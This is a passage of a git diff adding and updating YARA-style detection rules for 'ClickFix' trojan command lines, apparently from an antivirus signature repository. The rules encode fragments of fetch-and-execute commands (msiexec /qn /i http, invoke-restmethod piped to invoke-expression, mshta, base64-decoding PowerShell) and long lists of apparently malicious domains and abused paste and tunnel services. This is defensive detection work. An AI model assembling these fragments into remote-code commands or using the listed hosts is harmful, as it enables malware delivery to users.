6c 00 6c 00 } //1 powershell + $a_00_1 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 } //1 raw.github + $a_00_2 = {53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 50 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 6c 00 } //-100 SecurityProtocol + $a_00_3 = {53 00 65 00 72 00 76 00 69 00 63 00 65 00 50 00 6f 00 69 00 6e 00 74 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 } //-100 ServicePointManager + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-100+(#a_00_3 & 1)*-100) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAD_MTB.yar new file mode 100644 index 0000000000..655eabf616 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ClickFix_AAD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.AAD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_00_0 = {2e 00 6d 00 73 00 69 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 } //1 .msimsiexec /qn /i http + condition: + ((#a_00_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAF_MTB.yar new file mode 100644 index 0000000000..217ae2ce9b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ClickFix_AAF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.AAF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 2d 00 75 00 72 00 69 00 20 00 24 00 [0-3c] 3b 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAH_MTB.yar new file mode 100644 index 0000000000..1d0e1d3036 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_AAH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.AAH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB.yar new file mode 100644 index 0000000000..bec34d9a07 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB.yar @@ -0,0 +1,74 @@ + +rule Trojan_Win32_ClickFix_AB{ + meta: + description = "Trojan:Win32/ClickFix.AB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 40 00 00 " + + strings : + $a_00_0 = {69 00 70 00 6c 00 6f 00 67 00 67 00 65 00 72 00 2e 00 63 00 6f 00 } //1 iplogger.co + $a_00_1 = {77 00 68 00 69 00 6d 00 2d 00 70 00 72 00 6f 00 6f 00 66 00 2e 00 62 00 65 00 61 00 75 00 74 00 79 00 } //1 whim-proof.beauty + $a_00_2 = {73 00 74 00 61 00 67 00 2d 00 63 00 6e 00 64 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2e 00 6f 00 73 00 73 00 2d 00 61 00 70 00 2d 00 73 00 6f 00 75 00 74 00 68 00 65 00 61 00 73 00 74 00 2d 00 31 00 2e 00 61 00 6c 00 69 00 79 00 75 00 6e 00 63 00 73 00 2e 00 63 00 6f 00 6d 00 } //1 stag-cnd-files.oss-ap-southeast-1.aliyuncs.com + $a_00_3 = {68 00 65 00 6c 00 70 00 65 00 72 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 74 00 6f 00 70 00 } //1 helperection.top + $a_00_4 = {61 00 62 00 6f 00 64 00 65 00 73 00 68 00 6f 00 70 00 2e 00 73 00 68 00 6f 00 70 00 } //1 abodeshop.shop + $a_00_5 = {64 00 79 00 62 00 65 00 70 00 2e 00 66 00 75 00 6e 00 } //1 dybep.fun + $a_00_6 = {65 00 73 00 79 00 6e 00 2e 00 6c 00 69 00 76 00 65 00 } //1 esyn.live + $a_00_7 = {66 00 76 00 6c 00 63 00 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //1 fvlc.live/ + $a_00_8 = {6c 00 77 00 68 00 6b 00 72 00 2e 00 70 00 72 00 65 00 73 00 73 00 2f 00 } //1 lwhkr.press/ + $a_00_9 = {74 00 68 00 6f 00 62 00 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //1 thob.live/ + $a_00_10 = {68 00 61 00 6e 00 64 00 70 00 72 00 69 00 6e 00 74 00 73 00 63 00 61 00 72 00 69 00 6e 00 65 00 73 00 73 00 2e 00 72 00 75 00 2f 00 } //1 handprintscariness.ru/ + $a_00_11 = {65 00 2e 00 6f 00 76 00 65 00 72 00 61 00 6c 00 6c 00 77 00 6f 00 62 00 62 00 6c 00 79 00 2e 00 72 00 75 00 2f 00 } //1 e.overallwobbly.ru/ + $a_00_12 = {6c 00 65 00 76 00 63 00 69 00 61 00 76 00 69 00 61 00 2e 00 74 00 6f 00 70 00 2f 00 } //1 levciavia.top/ + $a_00_13 = {64 00 69 00 73 00 63 00 6f 00 75 00 6e 00 74 00 6c 00 79 00 2e 00 70 00 77 00 2f 00 } //1 discountly.pw/ + $a_00_14 = {73 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2d 00 63 00 61 00 63 00 68 00 65 00 2d 00 7a 00 78 00 34 00 38 00 32 00 2e 00 6f 00 73 00 73 00 2d 00 61 00 70 00 2d 00 73 00 6f 00 75 00 74 00 68 00 65 00 61 00 73 00 74 00 2d 00 31 00 2e 00 61 00 6c 00 69 00 79 00 75 00 6e 00 63 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 session-cache-zx482.oss-ap-southeast-1.aliyuncs.com/ + $a_00_15 = {79 00 6f 00 75 00 72 00 63 00 69 00 61 00 6c 00 73 00 75 00 70 00 70 00 6c 00 79 00 2e 00 74 00 6f 00 70 00 2f 00 } //1 yourcialsupply.top/ + $a_00_16 = {79 00 62 00 66 00 6c 00 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //1 ybfl.live/ + $a_00_17 = {72 00 65 00 6b 00 78 00 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //1 rekx.live/ + $a_00_18 = {6a 00 61 00 73 00 6f 00 6e 00 73 00 74 00 61 00 74 00 68 00 61 00 6d 00 2e 00 70 00 77 00 2f 00 } //1 jasonstatham.pw/ + $a_00_19 = {74 00 6f 00 6d 00 68 00 61 00 6e 00 6b 00 73 00 2e 00 70 00 77 00 2f 00 } //1 tomhanks.pw/ + $a_00_20 = {74 00 72 00 61 00 76 00 65 00 6c 00 2e 00 69 00 6d 00 61 00 67 00 65 00 2d 00 67 00 65 00 6e 00 65 00 2d 00 73 00 61 00 76 00 65 00 72 00 2e 00 69 00 74 00 2e 00 63 00 6f 00 6d 00 } //1 travel.image-gene-saver.it.com + $a_00_21 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 31 00 2e 00 36 00 39 00 2e 00 32 00 35 00 2f 00 6d 00 32 00 } //1 http://10.1.69.25/m2 + $a_00_22 = {66 00 69 00 6e 00 61 00 6c 00 73 00 74 00 65 00 70 00 67 00 6f 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 finalstepgo.com/ + $a_00_23 = {36 00 74 00 2e 00 63 00 7a 00 6c 00 77 00 2e 00 72 00 75 00 } //1 6t.czlw.ru + $a_00_24 = {76 00 37 00 71 00 2e 00 70 00 77 00 2f 00 } //1 v7q.pw/ + $a_00_25 = {65 00 76 00 65 00 6e 00 74 00 73 00 2d 00 64 00 61 00 74 00 61 00 2d 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 } //1 events-data-microsoft.com + $a_00_26 = {65 00 76 00 65 00 6e 00 74 00 73 00 64 00 61 00 74 00 61 00 2d 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2d 00 6c 00 69 00 76 00 65 00 2e 00 63 00 6f 00 6d 00 } //1 eventsdata-microsoft-live.com + $a_00_27 = {64 00 6e 00 73 00 67 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2d 00 64 00 73 00 2d 00 64 00 61 00 74 00 61 00 2e 00 63 00 6f 00 6d 00 } //1 dnsg-windows-ds-data.com + $a_00_28 = {66 00 69 00 72 00 65 00 77 00 61 00 74 00 63 00 68 00 65 00 73 00 2e 00 71 00 75 00 65 00 73 00 74 00 } //1 firewatches.quest + $a_00_29 = {66 00 69 00 6e 00 61 00 6c 00 73 00 74 00 65 00 70 00 67 00 65 00 74 00 73 00 68 00 65 00 72 00 65 00 2e 00 63 00 6f 00 6d 00 } //1 finalstepgetshere.com + $a_00_30 = {66 00 75 00 6e 00 62 00 75 00 6e 00 69 00 73 00 74 00 69 00 63 00 61 00 2e 00 62 00 2d 00 63 00 64 00 6e 00 2e 00 6e 00 65 00 74 00 } //1 funbunistica.b-cdn.net + $a_00_31 = {70 00 6c 00 74 00 78 00 31 00 31 00 2e 00 62 00 2d 00 63 00 64 00 6e 00 2e 00 6e 00 65 00 74 00 } //1 pltx11.b-cdn.net + $a_00_32 = {62 00 6f 00 6b 00 6e 00 65 00 67 00 2e 00 63 00 6f 00 6d 00 } //1 bokneg.com + $a_00_33 = {6b 00 6f 00 6c 00 65 00 70 00 7a 00 2e 00 63 00 6f 00 6d 00 } //1 kolepz.com + $a_00_34 = {6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2d 00 69 00 70 00 6c 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 6c 00 69 00 76 00 65 00 } //1 microsoft-iplcloud.live + $a_00_35 = {70 00 75 00 6c 00 6c 00 66 00 69 00 6c 00 65 00 33 00 32 00 31 00 2e 00 62 00 2d 00 63 00 64 00 6e 00 2e 00 6e 00 65 00 74 00 } //1 pullfile321.b-cdn.net + $a_00_36 = {74 00 69 00 6e 00 73 00 65 00 6c 00 77 00 65 00 61 00 76 00 65 00 72 00 2e 00 62 00 6f 00 61 00 74 00 73 00 } //1 tinselweaver.boats + $a_00_37 = {78 00 69 00 6c 00 78 00 32 00 32 00 32 00 2e 00 62 00 2d 00 63 00 64 00 6e 00 2e 00 6e 00 65 00 74 00 } //1 xilx222.b-cdn.net + $a_00_38 = {63 00 6c 00 6f 00 75 00 64 00 73 00 2d 00 76 00 65 00 72 00 69 00 66 00 79 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 clouds-verify.com/ + $a_00_39 = {63 00 6c 00 6c 00 6f 00 75 00 64 00 73 00 76 00 65 00 72 00 69 00 66 00 79 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 clloudsverify.com/ + $a_00_40 = {63 00 6c 00 6c 00 6f 00 75 00 64 00 76 00 65 00 72 00 69 00 66 00 79 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 clloudverify.com/ + $a_00_41 = {63 00 6f 00 72 00 65 00 75 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 coreun.com/ + $a_02_42 = {68 00 74 00 74 00 70 00 [0-ff] 2f 00 77 00 70 00 2d 00 70 00 72 00 6f 00 74 00 65 00 63 00 74 00 2f 00 } //1 + $a_00_43 = {31 00 31 00 78 00 31 00 2e 00 69 00 6e 00 6b 00 } //1 11x1.ink + $a_00_44 = {31 00 30 00 78 00 30 00 37 00 2e 00 69 00 6e 00 6b 00 } //1 10x07.ink + $a_00_45 = {32 00 32 00 78 00 32 00 2e 00 78 00 79 00 7a 00 } //1 22x2.xyz + $a_00_46 = {63 00 6d 00 62 00 6b 00 7a 00 38 00 62 00 75 00 69 00 30 00 30 00 30 00 30 00 30 00 38 00 6b 00 32 00 32 00 62 00 63 00 6d 00 33 00 62 00 33 00 6b 00 2e 00 69 00 6e 00 66 00 6f 00 } //1 cmbkz8bui000008k22bcm3b3k.info + $a_00_47 = {74 00 6f 00 6b 00 65 00 6e 00 6e 00 62 00 6b 00 6e 00 2e 00 63 00 6f 00 6d 00 } //1 tokennbkn.com + $a_00_48 = {7a 00 69 00 70 00 2d 00 73 00 74 00 6f 00 72 00 65 00 2e 00 6f 00 73 00 73 00 2d 00 61 00 70 00 2d 00 73 00 6f 00 75 00 74 00 68 00 65 00 61 00 73 00 74 00 2d 00 31 00 2e 00 61 00 6c 00 69 00 79 00 75 00 6e 00 63 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 zip-store.oss-ap-southeast-1.aliyuncs.com/ + $a_00_49 = {79 00 78 00 79 00 7a 00 2e 00 7a 00 79 00 78 00 79 00 2e 00 6f 00 72 00 67 00 2f 00 } //1 yxyz.zyxy.org/ + $a_00_50 = {77 00 77 00 77 00 2e 00 73 00 76 00 63 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 6d 00 6f 00 64 00 2e 00 69 00 63 00 75 00 2f 00 } //1 www.svcrestartmod.icu/ + $a_00_51 = {73 00 74 00 61 00 72 00 74 00 75 00 70 00 63 00 68 00 65 00 65 00 74 00 61 00 68 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 startupcheetah.com/ + $a_00_52 = {73 00 69 00 6e 00 6f 00 66 00 72 00 65 00 69 00 67 00 68 00 74 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 sinofreights.com/ + $a_00_53 = {66 00 69 00 6e 00 61 00 6c 00 73 00 74 00 65 00 70 00 74 00 6f 00 67 00 6f 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 finalsteptogo.com/ + $a_00_54 = {6d 00 6e 00 76 00 75 00 7a 00 33 00 67 00 76 00 79 00 33 00 2e 00 74 00 6f 00 70 00 2f 00 } //1 mnvuz3gvy3.top/ + $a_00_55 = {78 00 69 00 6c 00 78 00 32 00 32 00 32 00 2e 00 62 00 2d 00 63 00 64 00 6e 00 2e 00 6e 00 65 00 74 00 2f 00 } //1 xilx222.b-cdn.net/ + $a_00_56 = {6f 00 73 00 77 00 79 00 6b 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 oswyka.com/ + $a_00_57 = {69 00 67 00 6e 00 69 00 66 00 75 00 67 00 61 00 63 00 69 00 6f 00 6e 00 73 00 61 00 72 00 67 00 75 00 69 00 78 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 ignifugacionsarguix.com/ + $a_00_58 = {64 00 6f 00 72 00 74 00 65 00 73 00 73 00 61 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 dortessas.com/ + $a_00_59 = {61 00 6e 00 6e 00 6f 00 79 00 69 00 6e 00 67 00 66 00 69 00 6c 00 65 00 72 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 annoyingfiler.com/ + $a_00_60 = {76 00 65 00 72 00 69 00 63 00 6c 00 6f 00 75 00 64 00 78 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 vericloudx.com/ + $a_00_61 = {76 00 69 00 65 00 77 00 33 00 31 00 2e 00 62 00 2d 00 63 00 64 00 6e 00 2e 00 6e 00 65 00 74 00 2f 00 } //1 view31.b-cdn.net/ + $a_00_62 = {6d 00 69 00 73 00 74 00 79 00 65 00 78 00 79 00 63 00 61 00 70 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 mistyexycapt.com/ + $a_00_63 = {79 00 6f 00 75 00 63 00 68 00 65 00 63 00 6b 00 69 00 6e 00 65 00 63 00 6f 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 youcheckineco.com/ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_02_42 & 1)*1+(#a_00_43 & 1)*1+(#a_00_44 & 1)*1+(#a_00_45 & 1)*1+(#a_00_46 & 1)*1+(#a_00_47 & 1)*1+(#a_00_48 & 1)*1+(#a_00_49 & 1)*1+(#a_00_50 & 1)*1+(#a_00_51 & 1)*1+(#a_00_52 & 1)*1+(#a_00_53 & 1)*1+(#a_00_54 & 1)*1+(#a_00_55 & 1)*1+(#a_00_56 & 1)*1+(#a_00_57 & 1)*1+(#a_00_58 & 1)*1+(#a_00_59 & 1)*1+(#a_00_60 & 1)*1+(#a_00_61 & 1)*1+(#a_00_62 & 1)*1+(#a_00_63 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ABA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ABA.yar new file mode 100644 index 0000000000..ae1402d8ff --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ABA.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_ClickFix_ABA{ + meta: + description = "Trojan:Win32/ClickFix.ABA,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 10 00 00 " + + strings : + $a_00_0 = {63 00 68 00 61 00 74 00 63 00 64 00 6e 00 } //1 chatcdn + $a_00_1 = {64 00 75 00 63 00 6b 00 64 00 6e 00 73 00 } //1 duckdns + $a_00_2 = {64 00 69 00 67 00 69 00 6b 00 65 00 78 00 2e 00 63 00 6f 00 6d 00 } //1 digikex.com + $a_00_3 = {62 00 6f 00 64 00 6c 00 73 00 61 00 6e 00 2e 00 63 00 6f 00 6d 00 } //1 bodlsan.com + $a_00_4 = {2e 00 72 00 32 00 2e 00 64 00 65 00 76 00 } //1 .r2.dev + $a_00_5 = {2e 00 74 00 72 00 79 00 63 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 2e 00 63 00 6f 00 6d 00 } //1 .trycloudflare.com + $a_00_6 = {70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 } //1 pastebin + $a_00_7 = {70 00 61 00 73 00 74 00 65 00 73 00 2e 00 69 00 6f 00 } //1 pastes.io + $a_00_8 = {63 00 75 00 74 00 74 00 2e 00 6c 00 79 00 } //1 cutt.ly + $a_00_9 = {74 00 69 00 6e 00 79 00 75 00 72 00 6c 00 2e 00 63 00 6f 00 6d 00 } //1 tinyurl.com + $a_00_10 = {72 00 65 00 6e 00 74 00 72 00 79 00 2e 00 63 00 6f 00 } //1 rentry.co + $a_00_11 = {62 00 6c 00 6f 00 67 00 73 00 70 00 6f 00 74 00 2e 00 63 00 6f 00 6d 00 } //1 blogspot.com + $a_00_12 = {62 00 69 00 74 00 2e 00 6c 00 79 00 } //1 bit.ly + $a_00_13 = {70 00 73 00 65 00 65 00 2e 00 69 00 6f 00 } //1 psee.io + $a_00_14 = {66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 } //1 files.catbox.moe + $a_00_15 = {6e 00 6f 00 70 00 61 00 73 00 74 00 65 00 2e 00 6e 00 65 00 74 00 2f 00 } //1 nopaste.net/ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ABB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ABB.yar new file mode 100644 index 0000000000..a05ff3fd50 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ABB.yar @@ -0,0 +1,27 @@ + +rule Trojan_Win32_ClickFix_ABB{ + meta: + description = "Trojan:Win32/ClickFix.ABB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 11 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //100 + $a_00_1 = {63 00 68 00 61 00 74 00 63 00 64 00 6e 00 } //10 chatcdn + $a_00_2 = {64 00 75 00 63 00 6b 00 64 00 6e 00 73 00 } //10 duckdns + $a_00_3 = {64 00 69 00 67 00 69 00 6b 00 65 00 78 00 2e 00 63 00 6f 00 6d 00 } //10 digikex.com + $a_00_4 = {62 00 6f 00 64 00 6c 00 73 00 61 00 6e 00 2e 00 63 00 6f 00 6d 00 } //10 bodlsan.com + $a_00_5 = {2e 00 72 00 32 00 2e 00 64 00 65 00 76 00 } //10 .r2.dev + $a_00_6 = {2e 00 74 00 72 00 79 00 63 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 2e 00 63 00 6f 00 6d 00 } //10 .trycloudflare.com + $a_00_7 = {70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 } //10 pastebin + $a_00_8 = {70 00 61 00 73 00 74 00 65 00 73 00 2e 00 69 00 6f 00 } //10 pastes.io + $a_00_9 = {63 00 75 00 74 00 74 00 2e 00 6c 00 79 00 } //10 cutt.ly + $a_00_10 = {74 00 69 00 6e 00 79 00 75 00 72 00 6c 00 2e 00 63 00 6f 00 6d 00 } //10 tinyurl.com + $a_00_11 = {72 00 65 00 6e 00 74 00 72 00 79 00 2e 00 63 00 6f 00 } //10 rentry.co + $a_00_12 = {62 00 6c 00 6f 00 67 00 73 00 70 00 6f 00 74 00 2e 00 63 00 6f 00 6d 00 } //10 blogspot.com + $a_00_13 = {62 00 69 00 74 00 2e 00 6c 00 79 00 } //10 bit.ly + $a_00_14 = {70 00 73 00 65 00 65 00 2e 00 69 00 6f 00 } //10 psee.io + $a_00_15 = {66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 } //10 files.catbox.moe + $a_00_16 = {28 24 69 6e 73 74 61 6e 63 65 20 2d 65 71 20 27 6d 73 73 71 6c 73 65 72 76 65 72 27 29 } //-500 ($instance -eq 'mssqlserver') + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*-500) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB_MTB.yar index b84d834ce8..d95a993ad1 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AB_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_AB_MTB{ meta: - description = "Trojan:Win32/ClickFix.AB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,47 00 47 00 09 00 00 " + description = "Trojan:Win32/ClickFix.AB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,47 00 47 00 0b 00 00 " strings : $a_00_0 = {68 00 74 00 74 00 70 00 } //20 http @@ -13,7 +13,9 @@ rule Trojan_Win32_ClickFix_AB_MTB{ $a_00_6 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 } //10 .click $a_00_7 = {2e 00 6d 00 70 00 } //1 .mp $a_00_8 = {2e 00 66 00 6c 00 76 00 } //1 .flv + $a_00_9 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_10 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*20+(#a_00_1 & 1)*20+(#a_00_2 & 1)*20+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=71 + ((#a_00_0 & 1)*20+(#a_00_1 & 1)*20+(#a_00_2 & 1)*20+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*-1000+(#a_00_10 & 1)*-1000) >=71 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AF_MTB.yar index 8734d3bb6a..014aed9dfd 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AF_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AF_MTB.yar @@ -1,14 +1,14 @@ rule Trojan_Win32_ClickFix_AF_MTB{ meta: - description = "Trojan:Win32/ClickFix.AF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffd4 00 ffffffd4 00 0d 00 00 " + description = "Trojan:Win32/ClickFix.AF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffd4 00 ffffffd4 00 11 00 00 " strings : $a_00_0 = {68 00 74 00 74 00 70 00 } //100 http $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell $a_00_2 = {3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //10 :FromBase64String($ $a_00_3 = {2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //10 .content - $a_00_4 = {73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //10 start-process + $a_00_4 = {73 00 74 00 61 00 72 00 74 00 } //10 start $a_00_5 = {63 00 75 00 72 00 6c 00 } //10 curl $a_00_6 = {2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 } //10 -Encoded $a_00_7 = {69 00 65 00 78 00 } //1 iex @@ -17,7 +17,11 @@ rule Trojan_Win32_ClickFix_AF_MTB{ $a_00_10 = {69 00 77 00 72 00 } //1 iwr $a_00_11 = {69 00 72 00 6d 00 } //1 irm $a_00_12 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 } //1 invoke-restmethod + $a_00_13 = {63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 } //-100 chocolatey + $a_00_14 = {7a 00 6f 00 6f 00 6d 00 } //-100 zoom + $a_00_15 = {69 00 6e 00 74 00 75 00 6e 00 65 00 2d 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //-100 intune-resources + $a_00_16 = {73 00 74 00 61 00 72 00 74 00 